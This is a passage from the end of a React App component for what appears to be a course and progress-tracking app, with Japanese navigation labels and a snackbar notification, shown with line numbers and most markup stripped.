&& ( 476 | 493 | )} 494 | 495 | 496 | 497 | 498 | コース一覧 499 | 500 | 501 | 502 | 503 | 進捗管理 504 | 505 | 506 | 507 | 508 | 509 | 510 | 511 | setSnackbar({...snackbar, open: false})}> 512 | {snackbar.message} 513 | 514 | 515 | ); 516 | } 517 | 518 | export default App; --------------------------------------------------------------------------------